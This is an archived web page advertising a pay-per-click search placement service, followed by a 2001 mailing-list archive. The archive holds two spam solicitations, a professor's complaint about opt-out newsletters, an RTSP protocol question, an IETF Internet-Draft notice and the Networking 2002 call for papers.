<HTML><HEAD><TITLE>Bid4Placement.com - Welcome.</TITLE><!-- #BeginTemplate "/Templates/index.dwt" --><!-- #BeginEditable "doctitle" --><!-- #EndEditable -->
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
  <TBODY>
  <TR align=middle>
    <TD width=600><IMG height=100 
      src="images/bid_placement_logo.gif" width=104></TD></TR>
  <TR vAlign=top>
    <TD width=600 background="images/c-back.gif" 
    height=400><!-- #BeginEditable "main" -->
      <P align=justify><FONT size=4><B><FONT 
      face="Verdana, sans-serif"><BR><BR>Bid4Placement.com Program and 
      Description</FONT></B></FONT><BR><FONT 
      face="Verdana, sans-serif">BidForPlacement.com Program offers a 
      cost-effective way to drive targeted traffic to your Web site. You select 
      the search terms that are relevant to your site. Then you determine how 
      much you are willing to pay on a per-click basis for each of those search 
      terms. The higher your "bid," the higher in the search results your site 
      appears. It's targeted, cost-per-click advertising and you set the cost 
      per click! </FONT></P>
      <P align=left><FONT face="Verdana, sans-serif" 
      size=3><B>"Bid-4-Placement" Premier Advertising Program:</B></FONT> </P>
      <DIV align=left></DIV>
      <BLOCKQUOTE>
        <P align=left><FONT face="Verdana, sans-serif" size=3>Bid for keywords 
        that would link to your site at the end of a keyword search result. 
        "Bid-4-Placement" ads are text w/link only. The highest bidder's link 
        will always appear in the search results first. (Example; you bid $0.12 
        to have your site appear 1<SUP>st</SUP> in the search results for 
        keyword "flowers". A competitor bids $0.10 for the same location. Your 
        site's link will appear 1<SUP>st</SUP> because your bid is more than the 
        competitions.) <BR></FONT></P>
        <P align=left><B><FONT face="Verdana, sans-serif" size=3>Available 
        Terms:</FONT></B><FONT face="Verdana, sans-serif" size=3> </FONT></P>
        <DIV align=left>
        <UL>
          <LI><FONT face="Verdana, sans-serif" size=3>Cost Per Click-through 
          (you only pay the amount you bid when someone clicks-through to your 
          site) <BR></FONT>
          <LI><FONT face="Verdana, sans-serif" size=3>$25.00 non-refundable 
          account balance required. For account to remain current and site to be 
          listed your account must reflect a positive balance. <BR></FONT>
          <LI><FONT face="Verdana, sans-serif" size=3>Minimum bid is $0.05 
          </FONT></LI></UL></DIV></BLOCKQUOTE>
      <P align=center><FONT face="Verdana, sans-serif" 
      size=4><B>Bid-4-Placement search engines:</B></FONT> <!-- #EndEditable --></P></TD></TR>
  <TR vAlign=top>
    <TD width=600><!-- #BeginEditable "area2" -->
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD align=middle width=290><IMG height=1 
            src="images/shim.gif" width=290></TD>
          <TD width=20><IMG height=1 
            src="images/shim.gif" width=20></TD>
          <TD align=middle width=290><IMG height=1 
            src="images/shim.gif" width=290></TD></TR>
        <TR>
          <TD align=middle><A 
            href="http://www.pointcom.com"><IMG height=75 
            src="images/logosmall.jpg" 
            width=250 border=0></A></TD>
          <TD><IMG height=18 
            src="images/shim.gif" width=20></TD>
          <TD align=middle>
          <TD>&nbsp;</TD>
  <TR align=middle>
    <TD>
      <HR>
      <A href="http://www.bid4placement.com/index.html"><FONT 
      face="Verdana, sans-serif">Home</FONT></A><FONT 
      face="Verdana, sans-serif"> | <A 
      href="http://www.bid4placement.com/privacy.html">Privacy 
      Statement</A></FONT></TD></TR></TBODY></TABLE><!-- #EndTemplate --></BODY></HTML>










From confctrl-owner  Sat Sep 22 10:09:19 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA20822
	for confctrl-outgoing; Sat, 22 Sep 2001 10:09:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA20816
	for <confctrl@zephyr.isi.edu>; Sat, 22 Sep 2001 10:09:16 -0700 (PDT)
Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8MH9Rv05401
	for <confctrl@isi.edu>; Sat, 22 Sep 2001 10:09:27 -0700 (PDT)
Received: from ktmikhail (user-2iniu09.dialup.mindspring.com [165.121.120.9])
	by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id NAA22799
	for <confctrl@isi.edu>; Sat, 22 Sep 2001 13:09:26 -0400 (EDT)
Date: Sat, 22 Sep 2001 13:09:26 -0400 (EDT)
Message-Id: <200109221709.NAA22799@johnson.mail.mindspring.net>
From: "www.deltaholdings.net"<salesregistry@deltaholdings.net>
To: confctrl@ISI.EDU
Subject: www.deltaholdings.net a Verisign Secure Site Certified by Dun & Bradstreet is now live!
Reply-To: service@deltaholdings.net
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Delta Holdings.net client,

It pays to shop through www.deltaholdings.net!  Your one stop shop web site from apparel to music all in one location.

We provide you with links to first class retailers for all your shopping needs, and in return for your patronage, we pay 
you in US$ dollars monthly or quarterly by check a percent from your total purchases.

You can earn up to 12 pct cash back from your total online spending.  So by all means, please go ahead and visit:
www.deltaholdings.net and enjoy your shopping experience with us.

There are 80 + listings with more added on a weekly basis at www.deltaholdings.net.  Please see below a sample 
listing of the links provided, and always remember that it pays to shop at www.deltaholdings.net!


1800 Flowers.com                                 Bose                                Chiasso                             
AAA Fruit baskets                                 Bare Necessities               Brooks Brothers                

Allpets                                                 CD Universe                    Denver Broncos
Avenue - Womens' apparel                   Bluelight.com                   Diabetic Drug Store

Avon                                                   Chase Manhattan               Disney
Baby's Heaven                                     Booksamillion                   Chef's Catalog                    

www.deltaholdings.net                         www.deltaholdings.net                        www.deltaholdings.net

Eddie Bauer                     Flower.com                             Half.com
Enterprise rent a car         Fossil                                      Hallmark 

Esprit.com                      The Franklin Mint                    Hammacher Schlemmer  
Estyle                              Fredericks.com                        Handspring Store

Hershey's at www.deltaholdings.net!

Thank you for your time and warm personal regards.
www.deltaholdings.net Management



From confctrl-owner  Sun Sep 23 08:09:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA16966
	for confctrl-outgoing; Sun, 23 Sep 2001 08:09:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA16961
	for <confctrl@zephyr.isi.edu>; Sun, 23 Sep 2001 08:08:59 -0700 (PDT)
Received: from cooldude.sweet-n-sour.com (ip1977.igreatlink.com [202.122.197.7])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f8NF9Av06909
	for <confctrl@isi.edu>; Sun, 23 Sep 2001 08:09:11 -0700 (PDT)
Message-ID: <LYRIS-117335-131-2001.09.23-23.20.36--confctrl#isi.edu@cooldude.sweet-n-sour.com>
Reply-To: leave-sns01-117335O@cooldude.sweet-n-sour.com
From: editor@anytimeandanywhere.com
To: confctrl@ISI.EDU
Subject: SnS e-Daily - Hong Kong, Mon, Sep 24, 2001 -  Building Bridges for over 20000 e-Professionals Worldwide... 24 x 7!
Date: Sun, 23 Sep 2001 23:13:50 +0800
Organization: Hi-Tech Development Co., Ltd.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
List-Unsubscribe: <mailto:leave-sns01-117335O@cooldude.sweet-n-sour.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Special Invitation
To: confctrl@isi.edu

SnS e-Daily is a free newsletter sent to over 20000 e-Professionals
worldwide.  It provides ground zero reporting on the latest hot news
from Asia Pacific covering e-commerce, upcoming events,
exclusive member discounts....and much, much more!

To stop receiving our daily newsletter, please send a blank
email to leave-sns01-117335O@cooldude.sweet-n-sour.com

To join, please: mailto:members@anytimeandanywhere.com

Thank you.

To: VIP Members
Subject: Special Membership Invitation

Dear colleague:

We'd like to invite you to sample our daily newsletter - the SnS e-Daily.
>From time to time our members refer to us individuals who they feel
might benefit from being a part of the SnS network of elite readers and
members.  And I guess that's why you're reading this letter!

Welcome to SnS e-Daily - Hong Kong, Mon, Sep 24, 2001.
////////////////////////////////////////////////////////////////////////////////////////////////////
/////////
Please click at the link below for today's edition
http://standard.sweet-n-sour.com/aa_09242001.htm
<A HREF="http://standard.sweet-n-sour.com/aa_09242001.htm">
AOL users click here</a>

Back up copy of today's edition
http://www.hi-tech.com.hk/aa_09242001.htm
<A HREF="http://www.hi-tech.com.hk/aa_09242001.htm">
AOL users click here</a>
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\
In Today's Edition:-

1. Macau - music festival, classical concert
2. Hong Kong - business seminar, tango lesson, chinese
    classical concert, classical concert, dance workshop,
    items for sale (vintage purse)
3. Singapore - play
4. Taipei, Taiwan - business seminar
5. San Francisco, CA, USA - charity

Since 1997, SnS has built a global community of over 20000 successful
members who travel regularly and need to stay up-to-date with issues
facing today's executives in the New Economy.  Our focus is on people
doing business in the Asia-Pacific region.  We keep you in touch at
ground zero with the latest hot news in e-commerce, upcoming events,
exclusive member discounts....and much, much more!  Why not give it
a try...it's absolutely FREE!

To learn more about us, please visit our web site
http://anytimeandanywhere.com

To receive your FREE SnS e-Daily, you need to do nothing.
If you decide to become a member simply email us at
members@anytimeandanywhere.com.

To remove yourself automatically from the list, please see
the instruction below.

Thank you for your attention.

Sincerely,
John Jackson,
Executive Editor, SnS e-Daily

For FREE membership and a FREE daily newsletter, simply
email us at members@anytimeandanywhere.com.

1997 - 2001 anytimeandanywhere.com.  All rights reserved.


---
This email was sent to: confctrl@isi.edu

To stop receiving our daily newsletter, please reply
with a blank email to the email address below
leave-sns01-117335O@cooldude.sweet-n-sour.com

Thank you.

From confctrl-owner  Sun Sep 23 12:07:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA27031
	for confctrl-outgoing; Sun, 23 Sep 2001 12:07:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA27026
	for <confctrl@zephyr.isi.edu>; Sun, 23 Sep 2001 12:07:20 -0700 (PDT)
Received: from gumby.cs.berkeley.edu (IDENT:root@gumby.CS.Berkeley.EDU [128.32.32.38])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8NJ7Wv16774
	for <confctrl@ISI.EDU>; Sun, 23 Sep 2001 12:07:33 -0700 (PDT)
Received: from BMRC.Berkeley.EDU (c42297-a.wntck1.sfba.home.com [24.1.25.136])
	by gumby.cs.berkeley.edu (8.9.3/8.9.3) with ESMTP id MAA12781;
	Sun, 23 Sep 2001 12:06:58 -0700
Message-ID: <3BAE32EF.E285ACB5@BMRC.Berkeley.EDU>
Date: Sun, 23 Sep 2001 12:07:27 -0700
From: "Lawrence A. Rowe" <Rowe@bmrc.berkeley.edu>
Reply-To: Rowe@bmrc.berkeley.edu
Organization: U.C. Berkeley
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: customerservice@s-n-s.com
Subject: Mailing lists
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Clifford Setyono-

I received your announcement that you have added an IETF mailing list to
your SnS distribution list using an "opt-out" option - i.e., you force
someone to take action to remove themselves from your list.  That is
rude and inappropriate behavior on the the Internet for two reasons. 
First, including a list on your list without first soliciting approval
from the list manager is wrong.  Consider it similar to me putting a
phone dialing program to work calling your phone and leaving a 30 second
message 5 times a day.  You'd be quite upset at the intrusion.  The same
is true about including a newsletter on a list w/o asking the
participants if they want to receive it.

The second reaons it is rude to use "opt-out" is that most list managers
are unable to handle the automatic removal of someone's email address.
Consider for example, my situation.  My official email address is
Rowe@BMRC.Berkeley.EDU. But, for a variety of reasons my name shows up
on mailing lists using over 10 different addresses including:
	rowe@cs.berkeley.edu
	larry@cs.berkeley.edu
	larry@woodstock.cs.berkeley.edu
	...
Now, suppose the actual name on the mailing list is the last one, that
is larry@woodstock.cs.berkeley.edu.  Most people use mail management
programs, like majordomo, which say "just send a reply message to remove
your name from the list."  Well, that will never work because I do not
send email from hosts with the names above.

By far the best approach I've seen is to send a message inviting someone
to join a list, describing the list, and giving a URL where someone can
join/leave the list.  Several good programs exist for doing this more or
less automatically through the web, for example see mailman. I wouldn't
mind receiving such a solicitation once a year or so, but I object
violently to receiving 3-5 messages a week on a topic that I have no
interest and cannot remove myself from the list. The second best
approach, and far below the first approach, is what Amazon does. They
send email with a URL that includes the information needed by their
cgi-bin script to delete the database record for the list entry.

So, I *strongly* urge you to modify your use of the Internet and mailing
lists.
	Larry Rowe
-- 
Professor Lawrence A. Rowe          Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS       Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776            URL: http://bmrc.berkeley.edu/~larry

From confctrl-owner  Mon Sep 24 03:58:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA12093
	for confctrl-outgoing; Mon, 24 Sep 2001 03:58:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12088
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 03:58:16 -0700 (PDT)
Received: from beamer.mchh.siemens.de (beamer.mchh.siemens.de [194.138.158.163])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8OAwSv17837
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 03:58:28 -0700 (PDT)
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id MAA27265
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 12:58:24 +0200 (MET DST)
Received: from mchh9eea.mchh.siemens.de (mchh9eea.mchh.siemens.de [139.21.204.218])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id MAA01356
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 12:56:28 +0200 (MET DST)
Received: by mchh9eea.mchh.siemens.de with Internet Mail Service (5.5.2653.19)
	id <TQ6CPK6J>; Mon, 24 Sep 2001 12:53:31 +0200
Message-ID: <07B0CDE3B76AD31190F700508B5D5D1DAA279B@mchg9eba.mchh.siemens.de>
From: Faerber Tobias ICM MP PO8 RD MCH83 <Tobias.Faerber@mch.siemens.de>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Question on RTSP: how to determin Content-Length for an entity ?
Date: Mon, 24 Sep 2001 12:56:20 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

in RTSP protocol (RFC2326) I find for the Content-Length determination with
hint to HTTP protocol that the Content-Lengh is the decimal number of
octets, so for me this means it is the number of chars, but in all examples
(like the one below,which I copied from RTSP 14.5) this number doeas not
match: In this case here they write "44", but if you count (together with
CRLF) you alway get to a much higher number. (I countet it eg.: "abc def"
for me is 7 for the length, so can anybody tell me how this has to be
counted ?)

M-C: 
RTSP/1.0 200 1 OK 
Content-type: application/sdp 
Content-Length: 44 

v=0 
o=- 2890844526 2890842807 IN IP4 192.16.24.202 
s=RTSP Session i=See above t=0 0
m=audio 0 RTP/AVP 0 

C-M: 
SETUP rtsp://server.example.com/demo/548/sound RTSP/1.0 CSeq: 2 
Transport: RTP/AVP;multicast;destination=225.219.201
..............................
----------------------------------------------------------------------------
-------
> Faerber Tobias		Siemens AG
ICM MP PO8 RD MCH83 	Information and Communication Mobile

> Tel:	+49 89 722 58578	Grillparzerstrasse 10 a
> mobile:  +49 175 5721351	81675 Munich, Germany
> Fax:	+49 89 722 59070	
mailto:tobias.faerber@mch.siemens.de
----------------------------------------------------------------------------
-------


From confctrl-owner  Mon Sep 24 06:13:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA18388
	for confctrl-outgoing; Mon, 24 Sep 2001 06:13:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA18381
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 06:13:03 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8ODDFv18761
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 06:13:16 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04478;
	Mon, 24 Sep 2001 09:12:56 -0400 (EDT)
Message-Id: <200109241312.JAA04478@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-natreq4udp-00.txt
Date: Mon, 24 Sep 2001 09:12:55 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Short term NAT requirements for UDP based peer-to-peer
                          applications
	Author(s)	: C. Huitema
	Filename	: draft-ietf-mmusic-natreq4udp-00.txt
	Pages		: 6
	Date		: 20-Sep-01
	
During the next few years, as the IPv4 address space moves toward 
exhaustion, it is likely that the deployment of NAT will accelerate. 
This draft presents the requirements that NAT devices must meet in 
order to enable use of UDP by peer-to-peer applications. The 
requirement can be summed up by the need to avoid gratuitous 
filtering and too short timers.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-natreq4udp-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010920134016.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-natreq4udp-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-natreq4udp-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010920134016.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Sep 24 07:21:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA22251
	for confctrl-outgoing; Mon, 24 Sep 2001 07:21:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA22246
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 07:21:03 -0700 (PDT)
Received: from color.sics.se (color.sics.se [193.10.66.199])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8OELFv05481
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 07:21:15 -0700 (PDT)
Received: from kanin.sics.se (kanin.sics.se [193.10.65.146])
	by color.sics.se (8.9.3/8.9.3) with ESMTP id QAA13577;
	Mon, 24 Sep 2001 16:21:13 +0200 (MET DST)
Received: (from lmfeeney@localhost)
	by kanin.sics.se (8.8.7/8.8.7) id QAA11346;
	Mon, 24 Sep 2001 16:21:13 +0200
Date: Mon, 24 Sep 2001 16:21:13 +0200
Message-Id: <200109241421.QAA11346@kanin.sics.se>
X-Authentication-Warning: kanin.sics.se: lmfeeney set sender to lmfeeney@kanin.sics.se using -f
From: Laura Feeney <lmfeeney@sics.se>
To: confctrl@ISI.EDU, Conferencesa@comsoc.org, info-confs@comsoc.org
Subject: CFP/CFT: Networking 2002 (due Oct 15)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Apologies if you receive multiple copies.

Please consider responding to this call for papers AND tutorial
proposals for Networking2002.  We're looking forward to receiving
many fine submissions and hope yours is among them!

---------------------------------------------------------

Call for Papers

NETWORKING 2002

The Second IFIP-TC6 Networking Conference
http://www.cnuce.pi.cnr.it/Networking2002

May 19-24 2002, Pisa - Italy

Networking is the biennial Conference on Networking of the IFIP 
Technical Committee on Communication Systems (TC6). Networking 2002 
is the second conference of this series --the first event was held in 
Paris, May 2000-- and is sponsored by the IFIP working groups on 
Network and Internetwork Architectures (WG 6.2), Performance of 
Communication Systems (WG 6.3), and Wireless Communications (WG 6.8).

Networking 2002 is organized into three tracks: i) Networking 
Technologies, Services and Protocols; ii) Performance of Computer and 
Communication Networks; iii) Mobile and Wireless Communications 
Systems.

The Networking 2002 technical program committee is soliciting papers 
describing original, previously unpublished, completed research, not 
currently under review by another conference or journal, addressing 
state-of-the-art research and development in all areas of computer 
networking and data communications. Special sessions will be 
dedicated to hot topics such as: Mobile Internet, QoS in Internet, 
wireless local and personal area networks, 3G wireless systems, 
mobile ad-hoc networks. A detailed list of topics of interest can be 
found at: http://www.cnuce.pi.cnr.it/Networking2002/CFP.htm


PAPER SUBMISSION AND PUBLICATION

Papers must be submitted electronically according to the instructions 
described in http://www.cnuce.pi.cnr.it/Networking2002 . All papers 
will be reviewed by the program committee. Accepted papers will 
appear in the conference proceedings published by Springer-Verlag in 
the LNCS series. The conference best paper will be award a prize by 
IFIP-TC6. Authors of selected papers will be invited to submit 
extended version of their papers for possible publication in special 
issues of Cluster Computing (Kluwer), ACM/Kluwer Wireless Networks 
(WINET), and Performance Evaluation journals.

IMPORTANT DATES


Full papers due:	October 15, 2001
Notification:		January 30, 2002
Camera Ready due:	March 15, 2002


EXECUTIVE COMMITTEE

GENERAL CHAIR: Enrico Gregori, National Research Council, Italy

GENERAL VICE-CHAIR: Ioannis Stavrakakis, University of Athens, Greece

TECHNICAL PROGRAM CHAIR: Marco Conti, National Research Council, Italy

SPECIAL TRACK CHAIR for Networking Technologies, Services and 
Protocols: Andrew T. Campbell, Columbia University, USA

SPECIAL TRACK CHAIR for Performance of Computer and Communication 
Networks: Moshe Zukerman, University of Melbourne, Australia

SPECIAL TRACK CHAIR for Mobile and Wireless Communications Systems: 
Guy Omidyar, National University of Singapore

TUTORIAL PROGRAM CHAIRS:
         Giuseppe Anastasi, University of Pisa, Italy
         Stefano Basagni, University of Texas at Dallas, USA

ORGANIZATION CHAIR: Stefano Giordano, University of Pisa, Italy

PUBLICITY CHAIRS:
         Silvia Giordano, Federal Inst. of Technology Lausanne (EPFL), 
Switzerland
         Laura Feeney, SICS, Sweden

STEERING COMMITTEE CHAIR: Harry Perros, North Carolina State University, USA

STEERING COMMITTEE MEMBERS:

         Augusto Casaca, IST/INESC, Portugal
         S. K. Das, The University of Texas at Arlington, USA
         Erol Gelenbe, University of Central Florida, USA
         Harry Perros, NCSU, USA (Chair)
         Guy Pujolle, University of Paris 6, France
         Harry Rudin, Switzerland
         Jan Slavik, TESTCOM, Czech Republic
         Hideaki Takagi, University of Tsukuba, Japan
         Samir Thome, ENST, France
         Adam Wolisz, TU-Berlin, Germany


TECHNICAL PROGRAM COMMITTEE MEMBERS

Special Track for Networking Technologies, Services and Protocols

	Ian Akyldiz, Georgia Institute of Technology, USA
	Edoardo Biagioni, University of Hawai'i at Manoa, USA
	Giuseppe Bianchi, University of Palermo, Italy
	Claude Castellucia, INRIA, France
	Piergiorgio Cremonese, Netikos, Italy
	Jon Crowcroft, Cambridge University, UK
	Christophe Diot , Sprint, USA
	Serge Fdida, Universite Pierre et Marie Curie, France
	Luigi Fratta, Politecnico di Milano, Italy
	Maurice Gagnaire, ENST, France
	Dieter Gantenbein, IBM Research Laboratory - Zurich, Switzerland
	Per Gunningberg, Uppsala University, Sweden
	Salim Hariri, The University of Arizona, USA
	David Hutchison, Lancaster University, UK
	Bijan Jabbari, George Mason University, USA
	Mohan Kumar, The University of Texas at Arlington, USA
	Alfio Lombardo, University of Catania, Italy
	Nicholas F. Maxemchuk, Columbia University, USA
	Derek McAuley, Marconi Labs, Cambridge, UK
	Refik Molva, Institut Eur=E9com, France
	Guido H. Petit, Alcatel, Belgium
	Chiara Petrioli, University "La Sapienza" Rome, Italy,
	Luigi Rizzo, Univeristy of Pisa, Italy
	Roberto Sabella, Ericsson, Italy
	Andras Valko, Ericsson, Sweden
	Lars Wolf, University of Karlsruhe, Germany
	Stefano Zatti, ESA/ESRIN, Italy

Special Track for Performance of Computer and Communication Networks

	Ron Addie, University of Southern Queensland, Australia
	Marco Ajmone, Marsan Politecnico di Torino, Italy
	Eitan Altman, INRIA, France
	Andrea Baiocchi, University "La Sapienza" Rome, Italy
	Chris Blondia, University of Antwerp, Belgium
	Herwig Bruneel, University of Ghent, Belgium
	Werner Bux, IBM Research Laboratory - Zurich, Switzerland
	Mariacarla Calzarossa, University of Pavia, Italy
	Olga Casals, Universitat Politecnica de Catalunya, Spain
	David Everitt, Swinburne University of Technology, Australia
	Nelson Fonseca, State University of Campinas, Brazil
	Peter Harrison, Imperial College, UK
	Farouk Kamoun, Tunisia
	Peter Key, Microsoft Research Ltd, Cambridge, UK
	Ulf Korner, Lund University, Sweden
	Demetres Kouvatsos, University of Bradford, UK
	Debasis Mitra, AT&T Bell Laboratories, USA,
	Sandor Molnar, Budapest University of Technology and Economics, Hungary
	Ilkka Norros, VTT, Finland
	Ramon Puigjaner, Universitat de les Illes Balears, Spain
	Jim Roberts, France Telecom, France
	Yutaka Takahashi, Kyoto University, Japan
	Don Towsley, University of Massachusetts, USA
	Phuoc Tran-Gia, University of Wuerzburg, Germany
	Jorma Virtamo, Helsinki University of Technology, Finland
	Maria C. Yuang, National Chiao Tung University, Taiwan


Special Track for mobile and wireless communications:

	Victor Bahl, Microsoft Research, USA
	Roberto Battiti, University of Trento, Italy
	Azzedine Boukerche, University of North Texas, USA
	Franco Davoli, University of Genova, Italy
	Khaled Elsayed, Cairo University, Egypt
	Anthony Ephremides, University of Maryland, USA
	Kari-Pekka Estola, Nokia Research Center, Finland
	Laura M. Feeney, SICS, Sweden
	Gabor Fodor, Ericsson, Sweden
	Jerome Galtier, INRIA, France
	Mario Gerla, University of California at Los Angeles, USA
	Silvia Giordano, ICA-DSC-EPFL, Switzerland
	Zygmunt Haas, Cornell University, USA
	Pascal Lorenz, Universite de Haute Alsace, France
	Thomas Luckenback, GMD-Fokus, Germany
	Gerald Maguire, Royal Institute of Technology, Sweden
	Stephan Olariu, Old Dominion University, USA
	George Polyzos, Athens University of Economics and Business, Greece
	Jiang Shengming, National University of Singapore, Singapore
	Violet R. Syrotiu, University of Texas at Dallas, USA
	Ivan Stojmenovic, University of Ottawa, Canada
	Terry Todd, McMaster University, Canada
	Nitin Vaidya, Texas A&M University, USA
	Roberto Verdone, CSITE - CNR, Italy
	Jeff Weisehntal, Naval Research Laboratory, USA=

---------------------------------------------------------

Call for Tutorials

NETWORKING 2002

The Second IFIP-TC6 Networking Conference
http://www.cnuce.pi.cnr.it/Networking2002

May 19-24 2002, Pisa - Italy

Networking is the biennial Conference on Networking of the IFIP 
Technical Committee on Communication Systems (TC6).

The Organizing Committee of Networking 2002 solicits proposals for 
tutorials that encompass  any aspects of networking. Both general 
topics and/or practical experiences in building/deploying networked 
systems are of particular interest. Evaluation of proposals will be 
based on the expertise and experience of the instructors, and on the 
relevance of the subject matter. Tutorial topics include (but are not 
restricted to):

- Ad hoc and home networking
- Bluetooth Technology
- Code Mobility---Mobile Agents
- E-commerce/M-Commerce
- Internet measurement
- IP Networks
- Mobile networking/computing
- Network Security
- Performance of Web Server
- Optical Communications
- Reliable Multicast
- Satellite Communications
- TCP modelling
- UMTS---III generation mobile systems
- Web Tecnologies

  Potential instructors are requested to submit a tutorial proposal of 
at most 5 pages, including a biographical sketch, via e-mail to both 
of the Tutorial Co-Chairs, Giuseppe Anastasi 
(g.anastasi@iet.unipi.it) and Stefano Basagni (basagni@utdallas.edu). 
